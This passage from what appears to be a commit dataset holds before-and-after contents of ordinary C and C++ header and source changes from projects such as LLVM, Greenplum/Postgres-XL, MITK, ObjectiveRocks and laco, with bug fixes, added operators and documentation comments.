protector new malware was using.\n\nCloses issue #22\n","lang":"C","license":"apache-2.0","repos":"strazzere\/android-unpacker,strazzere\/android-unpacker"}
{"commit":"b672df825ad9d6b4b16ddadb73c9b012c04ded05","old_file":"include\/llvm\/DebugInfo\/CodeView\/GUID.h","new_file":"include\/llvm\/DebugInfo\/CodeView\/GUID.h","old_contents":"\/\/===- GUID.h ---------------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_DEBUGINFO_CODEVIEW_GUID_H\n#define LLVM_DEBUGINFO_CODEVIEW_GUID_H\n\n#include <cstdint>\n#include <cstring>\n\nnamespace llvm {\nclass raw_ostream;\n\nnamespace codeview {\n\n\/\/\/ This represents the 'GUID' type from windows.h.\nstruct GUID {\n  uint8_t Guid[16];\n};\n\ninline bool operator==(const GUID &LHS, const GUID &RHS) {\n  return 0 == ::memcmp(LHS.Guid, RHS.Guid, sizeof(LHS.Guid));\n}\n\nraw_ostream &operator<<(raw_ostream &OS, const GUID &Guid);\n\n} \/\/ namespace codeview\n} \/\/ namespace llvm\n\n#endif\n","new_contents":"\/\/===- GUID.h ---------------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_DEBUGINFO_CODEVIEW_GUID_H\n#define LLVM_DEBUGINFO_CODEVIEW_GUID_H\n\n#include <cstdint>\n#include <cstring>\n\nnamespace llvm {\nclass raw_ostream;\n\nnamespace codeview {\n\n\/\/\/ This represents the 'GUID' type from windows.h.\nstruct GUID {\n  uint8_t Guid[16];\n};\n\ninline bool operator==(const GUID &LHS, const GUID &RHS) {\n  return 0 == ::memcmp(LHS.Guid, RHS.Guid, sizeof(LHS.Guid));\n}\n\ninline bool operator<(const GUID &LHS, const GUID &RHS) {\n  return ::memcmp(LHS.Guid, RHS.Guid, sizeof(LHS.Guid)) < 0;\n}\n\ninline bool operator<=(const GUID &LHS, const GUID &RHS) {\n  return ::memcmp(LHS.Guid, RHS.Guid, sizeof(LHS.Guid)) <= 0;\n}\n\ninline bool operator>(const GUID &LHS, const GUID &RHS) {\n  return !(LHS <= RHS);\n}\n\ninline bool operator>=(const GUID &LHS, const GUID &RHS) {\n  return !(LHS < RHS);\n}\n\ninline bool operator!=(const GUID &LHS, const GUID &RHS) {\n  return !(LHS == RHS);\n}\n\nraw_ostream &operator<<(raw_ostream &OS, const GUID &Guid);\n\n} \/\/ namespace codeview\n} \/\/ namespace llvm\n\n#endif\n","subject":"Merge in types and items from type servers (\/Zi)","message":"[PDB] Merge in types and items from type servers (\/Zi)\n\nSummary:\nObject files compiled with \/Zi emit type information into a type server\nPDB. The .debug$S section will contain a single TypeServer2Record with\nthe absolute path and GUID of the type server. LLD needs to load the\ntype server PDB and merge all types and items it finds in it into the\ndestination PDB.\n\nDepends on D35495\n\nReviewers: ruiu, inglorion\n\nSubscribers: zturner, llvm-commits\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D35504\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@308235 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"4cb0950cfe4055ca54d08b9639ee4e462cb009a3","old_file":"src\/include\/storage\/relfilenode.h","new_file":"src\/include\/storage\/relfilenode.h","old_contents":"#ifndef RELFILENODE_H\n#define RELFILENODE_H\n\n\/*\n * This is all what we need to know to find relation file.\n * tblNode is identificator of tablespace and because of\n * currently our tablespaces are equal to databases this is\n * database OID. relNode is currently relation OID on creation\n * but may be changed later if required. relNode is stored in\n * pg_class.relfilenode.\n *\/\ntypedef struct RelFileNode\n{\n\tOid\t\t\t\t\ttblNode;\t\t\/* tablespace *\/\n\tOid\t\t\t\t\trelNode;\t\t\/* relation *\/\n} RelFileNode;\n\n#define\tRelFileNodeEquals(node1, node2)\t\\\n\t((node1).relNode == (node2).relNode && \\\n\t(node2).tblNode == (node2).tblNode)\n\n#endif\t\/* RELFILENODE_H *\/\n","new_contents":"#ifndef RELFILENODE_H\n#define RELFILENODE_H\n\n\/*\n * This is all what we need to know to find relation file.\n * tblNode is identificator of tablespace and because of\n * currently our tablespaces are equal to databases this is\n * database OID. relNode is currently relation OID on creation\n * but may be changed later if required. relNode is stored in\n * pg_class.relfilenode.\n *\/\ntypedef struct RelFileNode\n{\n\tOid\t\t\t\t\ttblNode;\t\t\/* tablespace *\/\n\tOid\t\t\t\t\trelNode;\t\t\/* relation *\/\n} RelFileNode;\n\n#define\tRelFileNodeEquals(node1, node2)\t\\\n\t((node1).relNode == (node2).relNode && \\\n\t (node1).tblNode == (node2).tblNode)\n\n#endif\t\/* RELFILENODE_H *\/\n","subject":"Fix small but critical typo ...","message":"Fix small but critical typo ...\n","lang":"C","license":"apache-2.0","repos":"xuegang\/gpdb,jmcatamney\/gpdb,cjcjameson\/gpdb,chrishajas\/gpdb,adam8157\/gpdb,zeroae\/postgres-xl,cjcjameson\/gpdb,atris\/gpdb,kaknikhil\/gpdb,techdragon\/Postgres-XL,janebeckman\/gpdb,50wu\/gpdb,0x0FFF\/gpdb,ahachete\/gpdb,rvs\/gpdb,yuanzhao\/gpdb,yuanzhao\/gpdb,kmjungersen\/PostgresXL,rubikloud\/gpdb,atris\/gpdb,ashwinstar\/gpdb,janebeckman\/gpdb,yazun\/postgres-xl,kaknikhil\/gpdb,techdragon\/Postgres-XL,oberstet\/postgres-xl,pavanvd\/postgres-xl,adam8157\/gpdb,Postgres-XL\/Postgres-XL,zaksoup\/gpdb,adam8157\/gpdb,xuegang\/gpdb,kaknikhil\/gpdb,snaga\/postgres-xl,pavanvd\/postgres-xl,ahachete\/gpdb,royc1\/gpdb,Chibin\/gpdb,foyzur\/gpdb,xuegang\/gpdb,postmind-net\/postgres-xl,greenplum-db\/gpdb,CraigHarris\/gpdb,lintzc\/gpdb,Quikling\/gpdb,foyzur\/gpdb,ahachete\/gpdb,atris\/gpdb,yuanzhao\/gpdb,techdragon\/Postgres-XL,zeroae\/postgres-xl,CraigHarris\/gpdb,foyzur\/gpdb,adam8157\/gpdb,chrishajas\/gpdb,xinzweb\/gpdb,CraigHarris\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,Postgres-XL\/Postgres-XL,yazun\/postgres-xl,50wu\/gpdb,ovr\/postgres-xl,50wu\/gpdb,lintzc\/gpdb,Quikling\/gpdb,royc1\/gpdb,kaknikhil\/gpdb,jmcatamney\/gpdb,CraigHarris\/gpdb,lpetrov-pivotal\/gpdb,postmind-net\/postgres-xl,jmcatamney\/gpdb,kmjungersen\/PostgresXL,xinzweb\/gpdb,edespino\/gpdb,edespino\/gpdb,Quikling\/gpdb,Chibin\/gpdb,ovr\/postgres-xl,edespino\/gpdb,lisakowen\/gpdb,randomtask1155\/gpdb,xinzweb\/gpdb,edespino\/gpdb,tpostgres-projects\/tPostgres,ashwinstar\/gpdb,techdragon\/Postgres-XL,zaksoup\/gpdb,zaksoup\/gpdb,janebeckman\/gpdb,oberstet\/postgres-xl,royc1\/gpdb,tangp3\/gpdb,janebeckman\/gpdb,kaknikhil\/gpdb,rvs\/gpdb,Chibin\/gpdb,royc1\/gpdb,atris\/gpdb,arcivanov\/postgres-xl,atris\/gpdb,lisakowen\/gpdb,Quikling\/gpdb,arcivanov\/postgres-xl,randomtask1155\/gpdb,50wu\/gpdb,edespino\/gpdb,Quikling\/gpdb,rvs\/gpdb,atris\/gpdb,chrishajas\/gpdb,cjcjameson\/gpdb,royc1\/gpdb,xuegang\/gpdb,postmind-net\/postgres-xl,ahachete\/gpdb,0x0FFF\/gpdb,tangp3\/gpdb,zeroae\/postgres-xl,rubikloud\/gpdb,greenplum-db\/gpdb,zaksoup\/gpdb,arcivanov\/postgres-xl,greenplum-db\/gpdb,Quikling\/gpdb,rvs\/gpdb,arcivanov\/postgres-xl,kaknikhil\/gpdb,edespino\/gpdb,adam8157\/gpdb,ovr\/postgres-xl,xinzweb\/gpdb,rubikloud\/gpdb,kaknikhil\/gpdb,snaga\/postgres-xl,adam8157\/gpdb,Quikling\/gpdb,chrishajas\/gpdb,CraigHarris\/gpdb,randomtask1155\/gpdb,edespino\/gpdb,chrishajas\/gpdb,tangp3\/gpdb,greenplum-db\/gpdb,oberstet\/postgres-xl,yuanzhao\/gpdb,lpetrov-pivotal\/gpdb,tpostgres-projects\/tPostgres,jmcatamney\/gpdb,randomtask1155\/gpdb,lisakowen\/gpdb,tpostgres-projects\/tPostgres,0x0FFF\/gpdb,xinzweb\/gpdb,janebeckman\/gpdb,lisakowen\/gpdb,50wu\/gpdb,rvs\/gpdb,lisakowen\/gpdb,chrishajas\/gpdb,rvs\/gpdb,cjcjameson\/gpdb,pavanvd\/postgres-xl,pavanvd\/postgres-xl,kmjungersen\/PostgresXL,ovr\/postgres-xl,greenplum-db\/gpdb,cjcjameson\/gpdb,0x0FFF\/gpdb,Chibin\/gpdb,xinzweb\/gpdb,ahachete\/gpdb,CraigHarris\/gpdb,tangp3\/gpdb,royc1\/gpdb,0x0FFF\/gpdb,yuanzhao\/gpdb,zeroae\/postgres-xl,randomtask1155\/gpdb,arcivanov\/postgres-xl,jmcatamney\/gpdb,jmcatamney\/gpdb,0x0FFF\/gpdb,lintzc\/gpdb,CraigHarris\/gpdb,yazun\/postgres-xl,royc1\/gpdb,ashwinstar\/gpdb,lpetrov-pivotal\/gpdb,ashwinstar\/gpdb,atris\/gpdb,oberstet\/postgres-xl,lintzc\/gpdb,tangp3\/gpdb,jmcatamney\/gpdb,rvs\/gpdb,Postgres-XL\/Postgres-XL,snaga\/postgres-xl,ashwinstar\/gpdb,ashwinstar\/gpdb,Chibin\/gpdb,postmind-net\/postgres-xl,janebeckman\/gpdb,greenplum-db\/gpdb,rubikloud\/gpdb,tpostgres-projects\/tPostgres,yazun\/postgres-xl,foyzur\/gpdb,rvs\/gpdb,xinzweb\/gpdb,kaknikhil\/gpdb,ahachete\/gpdb,ashwinstar\/gpdb,yuanzhao\/gpdb,rvs\/gpdb,foyzur\/gpdb,Chibin\/gpdb,rubikloud\/gpdb,lpetrov-pivotal\/gpdb,janebeckman\/gpdb,randomtask1155\/gpdb,jmcatamney\/gpdb,lpetrov-pivotal\/gpdb,royc1\/gpdb,50wu\/gpdb,rubikloud\/gpdb,xuegang\/gpdb,janebeckman\/gpdb,xuegang\/gpdb,zaksoup\/gpdb,cjcjameson\/gpdb,janebeckman\/gpdb,Chibin\/gpdb,yuanzhao\/gpdb,lintzc\/gpdb,kmjungersen\/PostgresXL,cjcjameson\/gpdb,oberstet\/postgres-xl,yazun\/postgres-xl,CraigHarris\/gpdb,xuegang\/gpdb,Chibin\/gpdb,CraigHarris\/gpdb,janebeckman\/gpdb,0x0FFF\/gpdb,postmind-net\/postgres-xl,cjcjameson\/gpdb,xuegang\/gpdb,ahachete\/gpdb,foyzur\/gpdb,50wu\/gpdb,snaga\/postgres-xl,randomtask1155\/gpdb,yuanzhao\/gpdb,lintzc\/gpdb,ovr\/postgres-xl,Quikling\/gpdb,zaksoup\/gpdb,tangp3\/gpdb,foyzur\/gpdb,lpetrov-pivotal\/gpdb,Chibin\/gpdb,chrishajas\/gpdb,lintzc\/gpdb,50wu\/gpdb,Chibin\/gpdb,zaksoup\/gpdb,techdragon\/Postgres-XL,edespino\/gpdb,adam8157\/gpdb,ashwinstar\/gpdb,xinzweb\/gpdb,Quikling\/gpdb,0x0FFF\/gpdb,lisakowen\/gpdb,yuanzhao\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,foyzur\/gpdb,pavanvd\/postgres-xl,rubikloud\/gpdb,edespino\/gpdb,tpostgres-projects\/tPostgres,cjcjameson\/gpdb,chrishajas\/gpdb,cjcjameson\/gpdb,rubikloud\/gpdb,lpetrov-pivotal\/gpdb,tangp3\/gpdb,kmjungersen\/PostgresXL,Postgres-XL\/Postgres-XL,lintzc\/gpdb,ahachete\/gpdb,xuegang\/gpdb,kaknikhil\/gpdb,rvs\/gpdb,zeroae\/postgres-xl,snaga\/postgres-xl,Postgres-XL\/Postgres-XL,randomtask1155\/gpdb,tangp3\/gpdb,lpetrov-pivotal\/gpdb,lisakowen\/gpdb,Quikling\/gpdb,atris\/gpdb,kaknikhil\/gpdb,zaksoup\/gpdb,edespino\/gpdb,arcivanov\/postgres-xl,greenplum-db\/gpdb,greenplum-db\/gpdb"}
{"commit":"9b86f2f27bdc1116be1b388e0e66c34b10006ba6","old_file":"Plugins\/org.mitk.gui.qt.multilabelsegmentation\/src\/internal\/QmitkCreateMultiLabelSegmentationAction.h","new_file":"Plugins\/org.mitk.gui.qt.multilabelsegmentation\/src\/internal\/QmitkCreateMultiLabelSegmentationAction.h","old_contents":"\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n#ifndef QMITK_CreateMultiLabelSegmentation_H\n#define QMITK_CreateMultiLabelSegmentation_H\n\n#include \"mitkIContextMenuAction.h\"\n\n#include \"org_mitk_gui_qt_multilabelsegmentation_Export.h\"\n\n#include \"vector\"\n#include \"mitkDataNode.h\"\n\nclass MITK_QT_SEGMENTATION QmitkCreateMultiLabelSegmentationAction : public QObject, public mitk::IContextMenuAction\n{\n  Q_OBJECT\n  Q_INTERFACES(mitk::IContextMenuAction)\n\npublic:\n\n  QmitkCreateMultiLabelSegmentationAction();\n  virtual ~QmitkCreateMultiLabelSegmentationAction();\n\n  \/\/interface methods\n  virtual void Run( const QList<mitk::DataNode::Pointer>& selectedNodes );\n  virtual void SetDataStorage(mitk::DataStorage* dataStorage);\n  virtual void SetFunctionality(berry::QtViewPart* functionality);\n  virtual void SetSmoothed(bool smoothed);\n  virtual void SetDecimated(bool decimated);\n\nprivate:\n\n  typedef QList<mitk::DataNode::Pointer> NodeList;\n\n  mitk::DataStorage::Pointer m_DataStorage;\n};\n\n#endif \/\/ QMITK_CreateMultiLabelSegmentation_H\n","new_contents":"\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n#ifndef QMITK_CreateMultiLabelSegmentation_H\n#define QMITK_CreateMultiLabelSegmentation_H\n\n#include \"mitkIContextMenuAction.h\"\n\n#include \"org_mitk_gui_qt_multilabelsegmentation_Export.h\"\n\n#include \"vector\"\n#include \"mitkDataNode.h\"\n\nclass MITK_QT_SEGMENTATION QmitkCreateMultiLabelSegmentationAction : public QObject, public mitk::IContextMenuAction\n{\n  Q_OBJECT\n  Q_INTERFACES(mitk::IContextMenuAction)\n\npublic:\n\n  QmitkCreateMultiLabelSegmentationAction();\n  virtual ~QmitkCreateMultiLabelSegmentationAction();\n\n  \/\/interface methods\n  virtual void Run( const QList<mitk::DataNode::Pointer>& selectedNodes ) override;\n  virtual void SetDataStorage(mitk::DataStorage* dataStorage) override;\n  virtual void SetFunctionality(berry::QtViewPart* functionality) override;\n  virtual void SetSmoothed(bool smoothed) override;\n  virtual void SetDecimated(bool decimated) override;\n\nprivate:\n\n  typedef QList<mitk::DataNode::Pointer> NodeList;\n\n  mitk::DataStorage::Pointer m_DataStorage;\n};\n\n#endif \/\/ QMITK_CreateMultiLabelSegmentation_H\n","subject":"Add override keyword to overridden methods.","message":"Add override keyword to overridden methods.\n","lang":"C","license":"bsd-3-clause","repos":"iwegner\/MITK,iwegner\/MITK,fmilano\/mitk,RabadanLab\/MITKats,RabadanLab\/MITKats,MITK\/MITK,MITK\/MITK,MITK\/MITK,RabadanLab\/MITKats,RabadanLab\/MITKats,RabadanLab\/MITKats,iwegner\/MITK,fmilano\/mitk,RabadanLab\/MITKats,fmilano\/mitk,fmilano\/mitk,MITK\/MITK,MITK\/MITK,iwegner\/MITK,iwegner\/MITK,fmilano\/mitk,fmilano\/mitk,MITK\/MITK,fmilano\/mitk,iwegner\/MITK"}
{"commit":"0c55d02164a8fcc6682791603e53d7c099f59699","old_file":"include\/matrix_access_impl.h","new_file":"include\/matrix_access_impl.h","old_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Element Access\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nT& matrix<T>::at( std::size_t row, std::size_t col ){\n  \/\/ TODO throw if out of bounds\n  return data_.at(row*cols_+col);\n}\n\ntemplate<class T>\nconst T& matrix<T>::at( std::size_t row, std::size_t col ) const{\n  \/\/ TODO throw if out of bounds\n  return data_.at(row*cols_+col);\n}\n\ntemplate<class T>\ntypename matrix<T>::matrix_row matrix<T>::operator[]( std::size_t row ){\n  return 0;\n}\n\ntemplate<class T>\nconst typename matrix<T>::matrix_row matrix<T>::operator[](\n    std::size_t row ) const{\n  return 0;\n}\n\n","new_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Element Access\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nT& matrix<T>::at( std::size_t row, std::size_t col ){\n  \/\/ TODO throw if out of bounds\n  return data_.at(row*cols_+col);\n}\n\ntemplate<class T>\nconst T& matrix<T>::at( std::size_t row, std::size_t col ) const{\n  \/\/ TODO throw if out of bounds\n  return data_.at(row*cols_+col);\n}\n\ntemplate<class T>\ntypename matrix<T>::matrix_row matrix<T>::operator[]( std::size_t row ){\n  return matrix_row(this,row);\n}\n\ntemplate<class T>\nconst typename matrix<T>::matrix_row matrix<T>::operator[](\n    std::size_t row ) const{\n  return matrix_row(this,row);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/ Row class element Access\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nT& matrix<T>::matrix_row::operator[](std::size_t col){\n  return matrix_->data_[row_*matrix_->cols_+col];\n}\n\ntemplate<class T>\nconst T& matrix<T>::matrix_row::operator[](std::size_t col) const{\n  return matrix_->data_[row_*matrix_->cols_+col];\n}\n\n","subject":"Add square bracket opertator access.","message":"Add square bracket opertator access.\n","lang":"C","license":"mit","repos":"actinium\/cppMatrix,actinium\/cppMatrix"}
{"commit":"c2b721b570a6919d4e20d86dd380677714d37a61","old_file":"SSPSolution\/SSPSolution\/StaticEntity.h","new_file":"SSPSolution\/SSPSolution\/StaticEntity.h","old_contents":"#ifndef SSPAPPLICATION_ENTITIES_STATICENTITY_H\n#define SSPAPPLICATION_ENTITIES_STATICENTITY_H\n#include \"Entity.h\"\nclass StaticEntity :\n\tpublic Entity\n{\nprivate:\n\t\/\/Variables\npublic:\n\tStaticEntity();\n\t~StaticEntity();\n\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp, AIComponent* aiComp);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\nprivate:\n\t\/\/Functions\n};\n#endif\n","new_contents":"#ifndef SSPAPPLICATION_ENTITIES_STATICENTITY_H\n#define SSPAPPLICATION_ENTITIES_STATICENTITY_H\n#include \"Entity.h\"\nclass StaticEntity :\n\tpublic Entity\n{\nprivate:\n\t\/\/Variables\npublic:\n\tStaticEntity();\n\t~StaticEntity();\n\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp, AIComponent* aiComp = nullptr);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\nprivate:\n\t\/\/Functions\n};\n#endif\n","subject":"FIX Interface parameter for Entities","message":"FIX Interface parameter for Entities\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"c1edd1358355fd02d8687f679cb4486ad43a6cce","old_file":"src\/util.h","new_file":"src\/util.h","old_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n\/*** Utility functions ***\/\n\n#define ALLOC(type) ((type*) xmalloc(sizeof(type)))\nvoid *xmalloc(size_t);\n\n#define STARTS_WITH(x, y) (strncmp((x), (y), sizeof(y) - 1) == 0)\n\n#endif \/* UTIL_H *\/\n","new_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n\/*** Utility functions ***\/\n\n#define ALLOC(type) ((type*) xmalloc(sizeof(type)))\nvoid *xmalloc(size_t);\n\n#define STARTS_WITH(x, y) (strncmp((x), (y), strlen(y)) == 0)\n\n#endif \/* UTIL_H *\/\n","subject":"Fix STARTS_WITH macro comparing 1 less character than needed","message":"Fix STARTS_WITH macro comparing 1 less character than needed\n","lang":"C","license":"apache-2.0","repos":"mopidy\/libmockspotify,mopidy\/libmockspotify,mopidy\/libmockspotify"}
{"commit":"bc33362a093bc50a2b0c6edad3242b5abf688482","old_file":"ObjectiveRocks\/RocksDBComparator.h","new_file":"ObjectiveRocks\/RocksDBComparator.h","old_contents":"\/\/\n\/\/  RocksDBComparator.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 22\/11\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef NS_ENUM(NSUInteger, RocksDBComparatorType)\n{\n\tRocksDBComparatorBytewiseAscending,\n\tRocksDBComparatorBytewiseDescending,\n\tRocksDBComparatorStringCompareAscending,\n\tRocksDBComparatorStringCompareDescending,\n\tRocksDBComparatorNumberAscending,\n\tRocksDBComparatorNumberDescending\n};\n\n@interface RocksDBComparator : NSObject\n\n+ (instancetype)comaparatorWithType:(RocksDBComparatorType)type;\n\n- (instancetype)initWithName:(NSString *)name andBlock:(int (^)(id key1, id key2))block;\n\n@end\n","new_contents":"\/\/\n\/\/  RocksDBComparator.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 22\/11\/14.\n\/\/  Copyright (c) 2014 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/**\n An enum defining the built-in Comparators.\n *\/\ntypedef NS_ENUM(NSUInteger, RocksDBComparatorType)\n{\n\t\/** @brief Orders the keys lexicographically in ascending order. *\/\n\tRocksDBComparatorBytewiseAscending,\n\n\t\/** @brief Orders the keys lexicographically in descending order. *\/\n\tRocksDBComparatorBytewiseDescending,\n\n\t\/** @brief Orders NSString keys in ascending order via the compare selector. *\/\n\tRocksDBComparatorStringCompareAscending,\n\n\t\/** @brief Orders NSString keys in descending order via the compare selector. *\/\n\tRocksDBComparatorStringCompareDescending,\n\n\t\/** @brief Orders NSNumber keys in ascending order via the compare selector.*\/\n\tRocksDBComparatorNumberAscending,\n\n\t\/** @brief Orders NSNumber keys in descending order via the compare selector. *\/\n\tRocksDBComparatorNumberDescending\n};\n\n\/**\n The keys are ordered within the key-value store according to a specified comparator function. The default ordering \n function for keys orders the bytes lexicographically.\n\n This behavior can be changed by supplying a custom Comparator when opening a database using the `RocksDBComparator`.\n *\/\n@interface RocksDBComparator : NSObject\n\n\/**\n Intializes a new Comparator instance for the given built-in type.\n\n @param type The comparator type.\n @return a newly-initialized instance of a keys comparator.\n *\/\n+ (instancetype)comaparatorWithType:(RocksDBComparatorType)type;\n\n\/**\n Intializes a new Comparator instance with the given name and comparison block.\n\n @param name The name of the comparator.\n @param block The comparator block to apply on the keys in order to specify their order.\n @return a newly-initialized instance of a keys comparator.\n *\/\n- (instancetype)initWithName:(NSString *)name andBlock:(int (^)(id key1, id key2))block;\n\n@end\n","subject":"Add source code documentation for the Comparator class","message":"Add source code documentation for the Comparator class\n","lang":"C","license":"mit","repos":"iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks"}
{"commit":"13d6f51d99675d5c31d4fb6c6fc18dcb1acb9ba0","old_file":"spellutil.h","new_file":"spellutil.h","old_contents":"#ifndef SPELLUTIL_H\n#define SPELLUTIL_H\n\ntypedef struct spell_list_node {\n    struct spell_list_node *next;\n    void *data;\n} spell_list_node;\n\nspell_list_node *spell_list_init(void *);\nint spell_list_add(spell_list_node **, void *);\nvoid spell_list_free(spell_list_node **, void (*) (void *));\n\n#endif\n","new_contents":"#ifndef SPELLUTIL_H\n#define SPELLUTIL_H\n\ntypedef struct spell_list_node {\n    struct spell_list_node *next;\n    void *data;\n} spell_list_node;\n\ntypedef struct spell_hashtable {\n    char *key;\n    spell_list_node *val;\n} spell_hashtable;\n\nspell_list_node *spell_list_init(void *);\nint spell_list_add(spell_list_node **, void *);\nvoid spell_list_remove(spell_list_node **, spell_list_node *);\nvoid spell_list_free(spell_list_node **, void (*) (void *));\nspell_hashtable *spell_hashtable_init(size_t);\nvoid spell_hashtable_add(spell_hashtable *, char *, void *);\nvoid spell_hashtable_remove(spell_hashtable *, char *);\nvoid spell_hashtable_get(spell_hashtable *, char *);\nvoid spell_hashtable_free(spell_hashtable *, void (*) (void *));\n\n#endif\n","subject":"Add interface for a hash table implementation required for the next stages of the spell checker implementation.","message":"Add interface for a hash table implementation required for the next\nstages of the spell checker implementation.\n","lang":"C","license":"bsd-2-clause","repos":"abhinav-upadhyay\/spell,abhinav-upadhyay\/spell"}
{"commit":"fdd0878001f328e622c1f3997ce803a2ef14a311","old_file":"src\/flags.c","new_file":"src\/flags.c","old_contents":"#include \"flags.h\"\n\n#include <stdio.h>\n\n#include \"laco.h\"\n#include \"util.h\"\n\nstatic const char* version_matches[] = {\"-v\", \"--version\", NULL};\nstatic const char* help_matches[]    = {\"-h\", \"-?\", \"--help\", NULL};\n\n\/* Print off the current version of laco *\/\nstatic void handle_version(LacoState* laco, const char** arguments) {\n  const char* version = laco_get_laco_version(laco);\n\n  printf(\"laco version %s\\n\", version);\n  laco_kill(laco, 0, NULL);\n}\n\n\/* Print off the help screen *\/\nstatic void handle_help(LacoState* laco, const char** arguments) {\n  puts(\"A better REPL for Lua.\\n\");\n  puts(\"Usage: laco [options]\\n\");\n  puts(\"-h | -? | --help   \\tPrint this help screen\");\n  puts(\"-v | --version     \\tPrint current version\");\n\n  laco_kill(laco, 0, NULL);\n}\n\nstatic const LacoCommand flag_commands[] = {\n  { version_matches, handle_version },\n  { help_matches,    handle_help },\n  { NULL, NULL }\n};\n\n\/* External API *\/\n\nvoid laco_handle_flag(LacoState* laco) {\n  const char* command = laco_get_laco_args(laco)[1];\n\n  laco_dispatch(flag_commands, laco, command, NULL);\n}\n","new_contents":"#include \"flags.h\"\n\n#include <stdio.h>\n\n#include \"laco.h\"\n#include \"util.h\"\n\nstatic const char* version_matches[] = {\"-v\", \"--version\", NULL};\nstatic const char* help_matches[]    = {\"-h\", \"--help\", NULL};\n\n\/* Print off the current version of laco *\/\nstatic void handle_version(LacoState* laco, const char** arguments) {\n  const char* version = laco_get_laco_version(laco);\n\n  printf(\"laco version %s\\n\", version);\n  laco_kill(laco, 0, NULL);\n}\n\n\/* Print off the help screen *\/\nstatic void handle_help(LacoState* laco, const char** arguments) {\n  puts(\"A better REPL for Lua.\\n\");\n  puts(\"Usage: laco [options]\\n\");\n  puts(\"-h | --help      \\tPrint this help screen\");\n  puts(\"-v | --version   \\tPrint current version\");\n\n  laco_kill(laco, 0, NULL);\n}\n\nstatic const LacoCommand flag_commands[] = {\n  { version_matches, handle_version },\n  { help_matches,    handle_help },\n  { NULL, NULL }\n};\n\n\/* External API *\/\n\nvoid laco_handle_flag(LacoState* laco) {\n  const char* command = laco_get_laco_args(laco)[1];\n\n  laco_dispatch(flag_commands, laco, command, NULL);\n}\n","subject":"Remove `-?` to display help","message":"Remove `-?` to display help\n\nIt seems like `--help` and `-h` is good enough alternatives for getting the\nhelp display.\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
